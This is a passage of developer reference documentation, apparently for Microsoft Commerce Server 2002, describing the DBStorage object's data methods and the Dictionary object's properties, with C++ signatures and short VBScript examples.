[in] This parameter is reserved for future use and is ignored by the current implementation of the DeleteDataKey method. This parameter is required for compatibility with Site Server 3.0 Commerce Edition, but is not used.
vtReserved [Visual Basic]
This parameter is reserved for future use and is ignored by the current implementation of the DeleteDataKey method. This parameter is required for compatibility with Site Server 3.0 Commerce Edition, but is not used.
vtKey [C++]
[in] A VARIANT that contains the key value for the row to delete. This key corresponds to the column designated as the table key in the initial call to the InitStorage method. Thus, if the call to the InitStorage method specifies column "some_column" as the table key, then the DeleteDataKey method searches "some_column" for the value stored in the vtKey parameter, and deletes the corresponding row of data.
vtKey [Visual Basic]
A Variant that contains the key value for the row to delete. This key corresponds to the column designated as the table key in the initial call to the InitStorage method. Thus, if the call to the InitStorage method specifies column "some_column" as the table key, then the DeleteDataKey method searches "some_column" for the value stored in the vtKey parameter, and deletes the corresponding row of data.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The DeleteDataKey method differs from the DeleteData method in that the DeleteDataKey requires only the value stored in the key column of the underlying table. This is the column specified as the key to the underlying table through a previous call to the InitStorage method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object

Order.shopper_id = "Shopper_tmp"
OrderFormStorage.DeleteDataKey(Null, "1234567890WSXCDERFVBGTRESWER")

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[C++] IMSCSDBStorage_3_0::DeleteData

[C++] IMSCSDBStorage_3_0::InsertData

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage

[Visual Basic] DBStorage.DeleteData

[Visual Basic] DBStorage.InsertData


IMSCSDBStorage_3_0::GetData Method [C++]

DBStorage.GetData Method [Visual Basic]

Use this method to retrieve a row of data from the database, based on the specified key value. If the data is found, this method creates and returns an OrderForm or Dictionary object containing the requested data.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::GetData(
 VARIANT vtReserved,
 VARIANT vtKey,
 VARIANT* pvtRet
);
[Visual Basic]
Function GetData(
 vtReserved As Variant,
 vtKey As Variant
) As Variant

Parameters

vtReserved [C++]
[in] A VARIANT reserved for future use. The GetData method ignores any value stored in this parameter.
vtReserved [Visual Basic]
A Variant reserved for future use. The GetData method ignores any value stored in this parameter.
vtKey [C++]
[in] A VARIANT that contains the key value on which to base the search. The GetData method searches for this value in the table column specified as the table key in the initial call to the InitStorage method.
vtKey [Visual Basic]
A Variant that contains the key value on which to base the search. The GetData method searches for this value in the table column specified as the table key in the initial call to the InitStorage method.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return a Dictionary or OrderForm object used to return the retrieved row.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, a Variant containing a Dictionary or OrderForm object that contains the retrieved row is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completes successfully.

[C++] For performance reasons, the GetData method is preferred over the LookupData method when the column being searched is the key.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object; vtVar is a Variant

Order.order_id = "Order_tmp"
VtVar = OrderFormStorage.GetData(Null, Order.order_id)

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[C++] IMSCSDBStorage_3_0::LookupData

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage

[Visual Basic] DBStorage.LookupData


IMSCSDBStorage_3_0::InitStorage Method [C++]

DBStorage.InitStorage Method [Visual Basic]

Use this method to initialize the DBStorage object. You must call this method immediately after object creation and before calling any other object methods. Attempting to call any other method prior to calling the InitStorage method results in an error.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::InitStorage(
 VARIANT vtDataSourceOrDSN,
 BSTR Table,
 BSTR bstrKey,
 VARIANT vtProgID,
 VARIANT vtMarshal,
 VARIANT vtChanged
);
[Visual Basic]
Sub InitStorage(
 vtDataSourceOrDSN As Variant,
 Table As String,
 bstrKey As String,
 vtProgID As Variant,
 vtMarshal As Variant,
 vtChanged As Variant
)

Parameters

vtDataSourceOrDSN [C++]
[in] A VARIANT which references a valid IDispatch pointer on a DataSource object, or which references a data source name (DSN).
vtDataSourceOrDSN [Visual Basic]
A Variant that contains a valid object reference to a DataSource object, or data source name (DSN).
Table [C++]
[in] A BSTR that contains the name of the table within the data source in which to maintain the data.
Table [Visual Basic]
A String that contains the name of the table within the data source in which to maintain the data.
bstrKey [C++]
[in] A BSTR that contains the column name that the DBStorage object uses as a key into the database table. This column should be marked to contain unique values.
bstrKey [Visual Basic]
A String that contains the column name that the DBStorage object uses as a key into the database table. This column should be marked to contain unique values.
vtProgID [C++]
[in] A VARIANT that contains the ProgID of the object in which data passed to or retrieved by DBStorage methods will be stored. This parameter can be Commerce.Dictionary for storing Dictionary objects or Commerce.OrderForm for storing OrderForm objects. Methods (such as GetData) that return data from the database create an instance of the specified class with the requested data stored within it.
vtProgID [Visual Basic]
A Variant that contains the ProgID of the object in which data passed to or retrieved by DBStorage methods will be stored. This parameter can be Commerce.Dictionary for storing Dictionary objects or Commerce.OrderForm for storing OrderForm objects. Methods (such as GetData) that return data from the database create an instance of the specified class with the requested data stored within it.
vtMarshal [C++]
[in] A VARIANT that contains the text string that, if specified, indicates the name of a column in the database into which the CommitData or InsertData method will store all the data from the specified data object, serialized into an encoded binary format. (Objects in the stored item that have corresponding column names in the database are also stored in those columns in the database.) If this argument is specified, the database must contain a column by that name, or an error will result. If this argument is not specified, then no data from the object is serialized and saved in the database in binary format, and items in the object that do not have corresponding columns in the database are discarded. When using a Microsoft SQL Server database, the maximum size of the data in this column is the same as the maximum size for the SQL Server text/image data type (2,147,483,647 bytes).
vtMarshal [Visual Basic]
A Variant that contains the text string that, if specified, indicates the name of a column in the database into which the CommitData or InsertData method will store all the data from the specified data object, serialized into an encoded binary format. (Objects in the stored item that have corresponding column names in the database are also stored in those columns in the database.) If this argument is specified, the database must contain a column by that name, or an error will result. If this argument is not specified, then no data from the object is serialized and saved in the database in binary format, and items in the object that do not have corresponding columns in the database are discarded. When using a Microsoft SQL Server database, the maximum size of the data in this column is the same as the maximum size for the SQL Server text/image data type (2,147,483,647 bytes).
vtChanged [C++]
[in] A VARIANT that contains the name of a key or attribute in the database into which to write the date when the data is changed. (If you do not specify a column name that exists in the database, the change date will be included in the marshaled data.)
vtChanged [Visual Basic]
A Variant that contains the name of a key or attribute in the database into which to write the date when the data is changed. (If you do not specify a column name that exists in the database, the change date will be included in the marshaled data.)

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' strDSN is the data source connection string; OrderFormStorage
' is an uninitialized Commerce.DBStorage object; "Site_basket"
' is the name of the table in the referenced data source;
' "shopper_id" is the primary key in the "Site_basket" table;
' "marshalled_order" is the name of the column for this DBStorage
' object instance to use for marshaling data; "date_changed"
' is the name of the database column that contains the date
' of the most recent change
' This sample initializes OrderFormStorage as an OrderForm storage object:

OrderFormStorage.InitStorage(strDSN, "Site_basket", "shopper_id", _
    "Commerce.OrderForm", "marshalled_order", "date_changed")

See Also

[C++] DBStorage Object

[Visual Basic] DBStorage Object


IMSCSDBStorage_3_0::InsertData Method [C++]

DBStorage.InsertData Method [Visual Basic]

Use this method to insert the contents of the specified Dictionary object into a database row.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::InsertData(
 VARIANT vtReserved,
 IDispatch* pdispData
);
[Visual Basic]
Sub InsertData(
 vtReserved As Variant,
 pdispData As Object
)

Parameters

vtReserved [C++]
[in] A VARIANT reserved for future use. This parameter is ignored by the InsertData method.
vtReserved [Visual Basic]
A Variant reserved for future use. This parameter is ignored by the InsertData method.
pdispData [C++]
[in] An IDispatch pointer on the Dictionary object or OrderForm object that contains the data to insert.
pdispData [Visual Basic]
An object reference to the Dictionary object or OrderForm object that contains the data to insert.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The CommitData and InsertData methods can store data from a specified object into the database in two ways.

First, if the InitStorage method specifies a MarshallColumn parameter, then CommitData and InsertData serialize all the data in the object into binary form and store it into the database column specified by this parameter. (If this argument is not supplied, then no data is stored in serialized form.)

Second, if the names of any items in the object exactly match the names of columns in the database, then the data in these items is stored into the corresponding columns. For example, if the order form contains a value called ship_to_name, and if your database table contains a column named ship_to_name, the DBStorage object saves the value in the ship_to_name entry of the order form into that column.

If the MarshallColumn parameter is specified and matching columns exist, then the corresponding data is stored both ways.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object

Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
OrderFormStorage.InsertData(Null, Order)

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[C++] IMSCSDBStorage_3_0::CommitData

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage

[Visual Basic] DBStorage.CommitData


IMSCSDBStorage_3_0::LookupData Method [C++]

DBStorage.LookupData Method [Visual Basic]

Use this method to retrieve a single row from the data source based upon column names and values that you specify. If the data is found, this method creates and returns an OrderForm or Dictionary object (depending on the vtProgID parameter passed to the InitStorage method) containing the requested data.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::LookupData(
 VARIANT vtReserved,
 VARIANT* pvtKeys,
 VARIANT* pvtValues,
 VARIANT* pvtRet
);
[Visual Basic]
Function LookupData(
 vtReserved As Variant,
 pvtKeys As Variant,
 pvtValues As Variant
) As Variant

Parameters

vtReserved [C++]
[in] A VARIANT reserved for future use. The LookupData method ignores any value stored in this parameter.
vtReserved [Visual Basic]
A Variant reserved for future use. The LookupData method ignores any value stored in this parameter.
pvtKeys [C++]
[in] A pointer to a VARIANT that identifies the columns in which to search for the data. This VARIANT can be either a SimpleList object or a SAFEARRAY.
pvtKeys [Visual Basic]
A Variant that identifies the columns in which to search for the data. This Variant can be either a SimpleList object or an Array.
pvtValues [C++]
[in] A pointer to a VARIANT that identifies the values for which to search. This parameter can be either a SimpleList object or a SAFEARRAY.
pvtValues [Visual Basic]
A Variant that identifies the values for which to search. This parameter can be either a SimpleList object or an Array.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the result of the lookup; this VARIANT references an IDispatch interface pointer on a Dictionary object that contains the row data. If the method call is unsuccessful, this parameter evaluates to NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the result of the lookup; this Variant references a Dictionary object that contains the row data.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method returns successfully.

The pvtKeys and pvtValues parameters are arrays that you pass to the LookupData method share in an index-to-index relationship. This means that they must contain an identical number of members and that the value stored in the pvtValues (N) parameter will be searched for in the column specified by the pvtKeys (N) parameter.

If the arrays contain more than one element, the LookupData method searches for a row in which all of the column/value pairs match.

Because the LookupData method returns only a single row of data, specifying column and value information that would result in the retrieval of more than one row results in an error.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' OrderFormStorage is an initialized DBStorage object instance.
' In the following example, the LookupData method searches
' for a row in which both the shopper_id column contains the
' value returned by the shopper_id variable and the shopper_name
' column contains the customer name returned by the Page.Request method:

' Attempt to determine if this shopper is already registered.
shopper_id = Page.GetShopperID

On Error Resume Next
Dim keys(1)
Dim values(1)
keys(0) = "shopper_id"
keys(1) = "shopper_name"
values(0) = shopper_id
values(1) = Page.Request("shopper_name", Null, 1, 60)

exists=NULL
set exists = OrderFormStorage.LookupData(Null, keys, values)
If IsNull(exists) Then
' This shopper id and name does not exist in the specified columns

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[C++] IMSCSDBStorage_3_0::GetData

[C++] IMSCSDBStorage_3_0::LookupMultipleData

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage

[Visual Basic] DBStorage.GetData

[Visual Basic] DBStorage.LookupMultipleData


IMSCSDBStorage_3_0::LookupMultipleData Method [C++]

DBStorage.LookupMultipleData Method [Visual Basic]

Use this method to retrieve multiple results from the database table. If the data is found, this method creates a SimpleList object that contains OrderForm or Dictionary objects, depending on the vtProgID parameter passed to the InitStorage method.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::LookupMultipleData(
 VARIANT vtReserved,
 VARIANT* pvtKeys,
 VARIANT* pvtValues,
 VARIANT* pvtRet
);
[Visual Basic]
Function LookupMultipleData(
 vtReserved As Variant,
 pvtKeys As Variant,
 pvtValues As Variant
) As Variant

Parameters

vtReserved [C++]
[in] A VARIANT reserved for future use. The LookupData method ignores any value stored in this parameter.
vtReserved [Visual Basic]
A Variant reserved for future use. The LookupData method ignores any value stored in this parameter.
pvtKeys [C++]
[in]A pointer to the VARIANT that identifies the columns in which to search for the data. This VARIANT can be either a SimpleList object or a SAFEARRAY.
pvtKeys [Visual Basic]
A Variant that identifies the columns in which to search for the data. This Variant can be either a SimpleList object or an Array.
pvtValues [C++]
[in] A pointer to the VARIANT that identifies the values for which to search. This parameter can be either a SimpleList object or a SAFEARRAY.
pvtValues [Visual Basic]
A Variant that identifies the values for which to search. This parameter can be either a SimpleList object or an Array.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the result of the lookup. This VARIANT references an IDispatch interface on a SimpleList object that consists of one or more Dictionary objects, one for each row of data returned. If the method fails, this parameter is set to NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that references a SimpleList object that consists of one or more Dictionary objects, one for each row of data returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object

Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
OrderFormStorage.InsertData(Null, Order)
OrderFormStorage.LookupMultipleData(Null, Array("order_id"), _
Array("Order_tmp"))

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[C++] IMSCSDBStorage_3_0::GetData

[C++] IMSCSDBStorage_3_0::LookupData

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage

[Visual Basic] DBStorage.GetData

[Visual Basic] DBStorage.LookupData


IMSCSDBStorage_3_0::ProcessData Method [C++]

DBStorage.ProcessData Method [Visual Basic]

Use this method to unpack the data stored in the MarshalColumn database column for a given row, and returns the resulting row in a Dictionary object.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::ProcessData(
 IDispatch* pdispData,
 IDispatch** ppdispRet
);
[Visual Basic]
Function ProcessData(
 pdispData As IDispatch
) As Object

Parameters

pdispData [C++]
[in] An IDispatch pointer on a Dictionary object that contains the marshaled data.
pdispData [Visual Basic]
An object reference to a Dictionary object that contains the marshaled data.
ppdispRet [C++]
[out, retval] The address of an IDispatch pointer on a Dictionary object used to return the unmarshaled data.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to a Dictionary object that contains the unmarshaled data.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppdispRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dSource is a Dictionary object; OrderFormStorage is
' an initialized Commerce.DBStorage object; dDictionary is a
' Dictionary object which will receive the unmarshaled data

Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
dDictionary = OrderFormStorage.ProcessData(dSource)

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage


IMSCSDBStorage_3_0 Properties [C++]

DBStorage Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Mapping | IDispatch | Maps a database column to an entry in the OrderForm or Dictionary object that DBStorage uses to insert and retrieve data. This property is read/write.
[Visual Basic]
Property | Type | Description
Mapping | Object | Maps a database column to an entry in the OrderForm or Dictionary object that DBStorage uses to insert and retrieve data. This property is read/write.


IMSCSDBStorage_3_0::get_Mapping, put_Mapping Property [C++]

DBStorage.Mapping Property [Visual Basic]

The Mapping property maps a database column to an entry in the OrderForm or Dictionary object that the DBStorage object uses to insert and retrieve data.

Definition

[C++]

Get method:

HRESULT IMSCSDBStorage_3_0::get_Mapping(
 IDispatch** Mapping
);

Put method:

HRESULT IMSCSDBStorage_3_0::put_Mapping(
 IDispatch* Mapping
);
[Visual Basic]
Property Mapping As Object

Parameters

Mapping [C++]
[in] When putting the property, an IDispatch interface that contains the mapping Dictionary that is set for this DBStorage object instance.
[out, retval] When getting the property, an IDispatch interface used to return the mapping Dictionary for this DBStorage object instance.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

A mapping Dictionary object makes it possible to map the column names in a database table to one or more names that you choose, usually for display to the site user. Suppose, for example, that your database table contains a column named "shopper_name", but that you want to display the contents of this column as the more human-readable "Shopper Name". Consequently, you initialize a "shopper_name" key in a Dictionary object to "Shopper Name", and pass this Dictionary object to the put_Mapping method. When you call a DBStorage object data retrieval method, such as GetData, to read a row of data into a Dictionary object, the Dictionary key for the "shopper_name" column reads "Shopper Name". This new mapping means that you do not have to translate the column name to a more human-readable name before displaying its values to the site user. You can simply display the keys and values as they appear in the Dictionary object returned by the GetData method.

The Mapping parameter contains valid data only if the property is accessed successfully.

[Visual Basic]

A mapping Dictionary object makes it possible to map the column names in a database table to one or more names that you choose, usually for display to the site user. Suppose, for example, that your database table contains a column named "shopper_name", but that you want to display the contents of this column as the more human-readable "Shopper Name". Consequently, you initialize a "shopper_name" key in a Dictionary object to "Shopper Name", and use this object to set the Mapping property. When you call a DBStorage object data retrieval method, such as GetData, to read a row of data into a Dictionary object, the Dictionary key for the "shopper_name" column reads "Shopper Name". This new mapping means that you do not have to translate the column name to a more human-readable name before displaying its values to the site user. You can simply display the keys and values as they appear in the Dictionary object returned by the GetData method.

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage


Dictionary Object [C++]

Dictionary Object [Visual Basic]

Use this object to support the creation, storage, and retrieval of name/value pairs in memory. Every value in a Dictionary object is a Variant, which means you can create a Dictionary object that consists of almost any kind of value (including other Dictionary objects), and that you can store any combination of Variant types in the same Dictionary object.

ProgID: | Commerce.Dictionary (Externally creatable)
COM Class Name: | CDictionary
Type Library Name: | Microsoft Commerce 2002 Core Components Type Library
DLL Name: | MscsCore.dll
Threading Model: | Both
[C++]
COM Interface Name: | IDictionary
Interface ID Constant: | IID_IDictionary
Header File: | commerce.h, mspu_guids.h
[C++]

In C++, use the IDictionary interface to access the properties and methods of the Dictionary object.

Properties

[C++]
Property | Type | Description
Count | long | Returns the number of elements in the Dictionary object. This property is read-only.
Prefix | BSTR | Stores the string that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. This property is read/write.
Value | VARIANT | Stores the value of a given Dictionary key. This property is read/write.
[Visual Basic]
Property | Type | Description
Count | Long | Returns the number of elements in the Dictionary object. This property is read-only.
Prefix | String | Stores the string that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. This property is read/write.
Value | Variant | Stores the value of a given Dictionary key. This property is read/write.

Remarks

Because a Dictionary object is designed to be a general-purpose collection, you can use it for almost anything that its internal structure supports.

When you need to create a Dictionary object explicitly (that is, when the object is not created for you by some other Commerce Server 2002 object), use the CreateObject method of the Active Server Pages (ASP) Server object, as follows:

Set dictUser = Server.CreateObject("Commerce.Dictionary")

After creating the object, you can add elements to it, as follows:

dictUser.first_name = "Steve"

In this example, first_name is a Dictionary key, and Steve becomes the assigned value of this key. Each statement actually accomplishes three functions: declaring the Dictionary key, adding that key to the Dictionary object, and setting the key to a value.

You can extract values from a Dictionary object in several ways. You can simply place the object.key identifier on the right side of the assignment statement. Such an assignment returns the value of the referenced key:

my_first_name = dictUser.first_name

Or you can use the Value method to get the value of a given key:

my_first_name = dictUser.Value("first_name")

You can also use the For Each statement in Microsoft Visual Basic Scripting Edition (VBScript) to enumerate through the keys or the values of a Dictionary object as follows (this example assumes that every value in the dictionary contains text):

' Get the key names
For Each element In dictUser
    Response.Write element
Next

' Get the values
For Each element In dictUser
    Response.Write dictUser.Value(element)
Next

The data in a Dictionary object can be saved in a database table by using the DBStorage object.

Commerce Server 2002 sites use implementations of the Dictionary object to store sets of data that are required by various other objects and pipeline components.

Unlike previous versions of the dictionary, the dictionary in Commerce Server 2002 is implemented as a hash of name value pairs. This enables the dictionary to perform fast lookups even when a large number of key/value pairs are stored. It also has the side effect that enumerations of dictionary keys may not be returned in the same order they are stored.

The dictionary object aggregates the Free Threaded Marshaller (FTM) for performance reasons (so that calls to the dictionary will never go through a proxy, no matter what COM apartment it is called from). Because of this, you may not store a reference to an apartment-threaded object in a dictionary. Doing so may result in errors such as RPC_E_WRONGTHREAD when the object pointer is retrieved and used.

The Dictionary object supports the ICloneable and IPersistXML interfaces. Use the ICloneable interface to deep copy all name/value pairs into a new dictionary. Use the IPersistXML interface to convert the Dictionary entries into an XML string and back again.

See Also

General Purpose Objects

IPersistXML Interface

[C++] SimpleList Object

[Visual Basic] SimpleList Object


IDctionary Properties [C++]

Dictionary Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Count | long | Returns the number of elements in the Dictionary object. This property is read-only.
Prefix | BSTR | Stores the string that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. This property is read/write.
Value | VARIANT | Stores the value of a given Dictionary key. This property is read/write.
[Visual Basic]
Property | Type | Description
Count | Long | Returns the number of elements in the Dictionary object. This property is read-only.
Prefix | String | Stores the string that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. This property is read/write.
Value | Variant | Stores the value of a given Dictionary key. This property is read/write.


IDictionary::get_Count Property [C++]

Dictionary.Count Property [Visual Basic]

The Count property is a read-only Long that contains the number of elements in the Dictionary object instance.

Definition

[C++]
HRESULT IDictionary::get_Count(
 long* Count
);
[Visual Basic]
Property Count As Long

Parameters

Count [C++]
[out, retval] A pointer to a long in which the get_Count method stores the number of elements in the Dictionary object.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Count parameter points to valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Dictionary Object

[Visual Basic] Dictionary Object


IDictionary::get_Prefix, put_Prefix Property [C++]

Dictionary.Prefix Property [Visual Basic]

The Prefix property is a read/write String that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. By default, the prefix is "_", so that any keywords beginning with an underscore character are excluded.

Definition

[C++]

Get method:

HRESULT IDictionary::get_Prefix(
 BSTR* Prefix
);

Put method:

HRESULT IDictionary::put_Prefix(
 BSTR Prefix
);
[Visual Basic]
Property Prefix As String

Parameters

Prefix [C++]
[in] When putting the property, a BSTR that contains the prefix.
[out, retval] When getting the property, a pointer to the BSTR that contains the prefix.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The Prefix parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

By default, the prefix is "_", so that any keywords beginning with an underscore character are excluded.

The pipeline component that saves receipts usually sets the prefix to "_cc_", so that all credit-card information is not saved in the database. The actual string used by the pipeline component is configurable.

See Also

[C++] Dictionary Object

[Visual Basic] Dictionary Object


IDictionary::get_Value, put_Value Property [C++]

Dictionary.Value Property [Visual Basic]

The Value property allows you to get or set a name/value pair in the Dictionary.

Definition

[C++]

Get method:

HRESULT IDictionary::get_Value(
 BSTR bstrName,
 VARIANT* Value
);

Put method:

HRESULT IDictionary::put_Value(
 BSTR bstrName,
 VARIANT Value
);

Putref method:

HRESULT IDictionary::putref_Value(
 BSTR bstrName,
 VARIANT Value
);
[Visual Basic]
Property Value(
 bstrName As String
) As Variant

Parameters

bstrName [C++]
